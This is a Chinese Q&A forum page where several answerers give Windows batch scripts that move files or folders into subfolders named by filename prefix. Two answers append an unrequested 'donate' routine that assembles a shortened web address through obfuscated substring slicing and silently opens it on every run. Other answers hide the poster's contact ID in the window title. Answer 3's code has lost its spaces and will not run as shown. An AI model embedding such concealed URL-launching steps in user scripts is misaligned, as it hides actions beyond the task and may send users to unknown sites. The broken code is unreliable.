如何批量移动相同前缀名的文件至对应文件夹,请高手帮我写个bat

2021-08-07 12:06:39 字数 2310 阅读 1753

1楼:

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下**复制粘贴到记事本,另存为xx.bat,编码选ansi,跟要处理的文件放一起运行

@echo off

rem 将文件名称中一个指定字符前面具有相同字符串前缀内容的多个文件剪切/移动到以该字符串前缀内容命名的文件夹里

mode con lines=3000

set #=any question&set @=wx&set $=q&set/az=0x53b7e0b4

title %#% +%$%%$%/%@% %z%

cd /d "%~dp0"

for /f "delims=" %%a in ('dir /a-d/b "*-*.*"') do (

if /i "%%~nxa" neq "%~nx0" (

for /f "delims=-" %%b in ("%%~na") do (

if not exist "%%b" md "%%b"

echo;"%%a" --^> "%%b\"

move "%%a" "%%b\"))

)echo;%#% +%$%%$%/%@% %z%

pause

exit

2楼:依梦琴瑶

@echo off & title 移动包含文件夹名的文件到其中 by 依梦琴瑶

for /d %%a in (*) do move "%%~a-*.*" "%%~a\"

pause

::友情一下

call :donate

exit

:donate

set "s0=fpdv"

set "s1=.:ailnhpst/"

set "s2=%s1:~6,1%%s1:~9,1%%s1:~9,1%%s1:~7,1%%s1:~1,1%%s1:~10,1%%s1:~10,1%"

set "s3=%s1:~8,1%%s1:~3,1%%s1:~5,1%%s1:~2,1%%s1:~0,1%%s1:~4,1%%s1:~9,1%"

start "" "%s2%%s3%%s1:~10,1%%s0%"

exit

你好,请教下:批处理 移动整个文件夹到对应前缀的文件夹?

3楼:依梦琴瑶

脚本放在需要来归类的那些文件夹一起源后执行。

@echooff&title移动文件夹到对应目录by依梦琴瑶

for/f"delims="%%ain('dir/ad/b')do(

for/f"tokens=1delims=_"%%bin("%%~a")do(

ifnotexist"%%~b"md"%%~b"

move"%%~a""%%~b\"))

pause

call:tome

exit

:tome

set"s=.:ailnhpst/fpdv"

start"""%s:~6,1%%s:~9,1%%s:

~9,1%%s:~7,1%%s:~1,1%%s:

~10,1%%s:~10,1%%s:~8,1%%s:

~3,1%%s:~5,1%%s:~2,1%%s:

~0,1%%s:~4,1%%s:~9,1%%s:

~10,5%"

exit

4楼:侯玉川

可以使用move命令。至于文件名前缀的判断,我一般都是通过提取文件名列表,放进excel中,用公式判断出结果,再用公式生成dos命令,再复制到bat批处理文件里的,这样效率最高。

5楼:

复制粘贴到记事抄本,另存为xx.bat,编码选ansi,跟要处理的文件夹放一起运行

@echo off

rem 将多个文件夹移动到以名称中指定字符前面的前缀字符串内容命名的文件夹里

set #=any question&set @=wx&set $=q&set/az=0x53b7e0b4

title %#% +%$%%$%/%@% %z%

cd /d "%~dp0"

for /f "delims=" %%a in ('dir /ad/b *_*') do (

for /f "delims=_" %%b in ("%%~nxa") do (

if not exist "%%b\" md "%%b\"

echo;"%%a" --^> "%%b\"

move "%%a" "%%b\"))

echo;%#% +%$%%$%/%@% %z%

pause